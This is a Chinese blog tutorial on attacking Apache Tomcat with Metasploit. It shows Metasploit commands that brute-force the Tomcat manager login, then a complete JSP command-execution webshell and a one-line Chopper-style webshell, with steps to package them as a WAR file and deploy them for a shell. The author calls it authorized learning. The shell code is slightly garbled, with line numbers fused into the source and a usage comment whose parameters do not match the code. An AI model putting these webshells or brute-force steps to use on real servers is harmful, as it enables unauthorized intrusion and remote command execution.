metasploit 的使用

声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博客园以及文章作者不为此承担任何责任。

 

前言:

1. 关于 工具 metasploit 就不多介绍了。详细的可以参考官方解说(其实是懒,后续有时间再添加)

2. 学习目的:举一反三,通过该例子总结出一套 metasploit 的使用思路,提高工作效率。

 

正文:

 

启动。使用的是kali2019,启动这步没有要躺的坑

 

 

案例:tomcat爆破

为什么要爆破进入后台呢?因为可以进入后台之后,上传war包(通过select war file to upload这块功能上传),找到路径和马能被执行,拿shell指x可待

 

为什么不用burp呢?tomcat的结构一般是 username:password  ,爆破起来也没有问题,但这是学习,要思考是否有不同的解决方法,一种方法能行,那再试一下另一个方式,找到最快捷达到目的的方法。还有hydra大法,也可以尝试。

 

一般的tomcat框架网站,都有其默认的tomcat管理后台,路径是 http:// <target> /manager/html

 

使用的总体思路:

1. 搜索相关模块

2. 根据实际需要use模块

3. 查看模块配置,调整参数

4. 运行

 

 

命令:

 

search tomcat_mgr

use auxiliary/scanner/http/tomcat_mgr_login

show options

set RHOSTS 
set RPORT 8080(默认的端口,根据实际情况调整)

run

  

模块的调整:

1. 结果不太理想,模块默认的payload不太能满足需要,那么如何替换字典呢?

2. 速度太快,目标被我们扫崩了,怎么办?调整线程,调整发包速度。

set THREADS 5;set BRUTEFORCE_SPEED 3

 

option

 

 

 

shellCode(暂未测试过是否可用)

 <%@ page import="java.util.*,java.io.*"%>
 <%
 //
 // JSP_KIT
 5//
 6// cmd.jsp = Command Execution (unix)
 7//
 8// by: Unknown
 9// modified: 27/06/200310//
11%>
12<HTML><BODY>
13<FORM METHOD="GET" NAME="myform" ACTION="">
14<INPUT TYPE="text" NAME="cmd">
15<INPUT TYPE="submit" VALUE="Send">
16</FORM>
17<pre>
18<%
19if (request.getParameter("cmd") != null) {
20        out.println("Command: " + request.getParameter("cmd") + "<BR>");
21        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
22        OutputStream os = p.getOutputStream();
23        InputStream in = p.getInputStream();
24        DataInputStream dis = new DataInputStream(in);
25        String disr = dis.readLine();
26        while ( disr != null ) {
27                out.println(disr); 
28                disr = dis.readLine(); 
29                }
30        }
31%>
32</pre>
33</BODY></HTML>

// 参考使用方式
// ip/xxx.jsp?pwd=xxx&i=ip%20a

  

步骤:选择文件-->上传文件-->显示OK-->上传成功

详细步骤:写入完成,开始将该文件压缩为zip文件,名字随便起,我用的是mt.zip,然后我要将,.zip后缀名改为.war。进一步就是把它上传到服务器上了,通过上面看到的Tomcat web应用程序管理里面下的 WAR file to deploy。选择刚才更改后缀名为war的那个文件,点击部署。状态码显示为OK,即为部署成功。

 

菜刀shellCode

<%Runtime.getRuntime().exec(request.getParameter("mt"));%>

  

再次说明,本次实验需在得到目标环境的拥有者的授权,这前提下操作,否则后果自负!

 

posted @ 2020-08-13 15:25  ardyh  阅读(189)  评论(0)    收藏  举报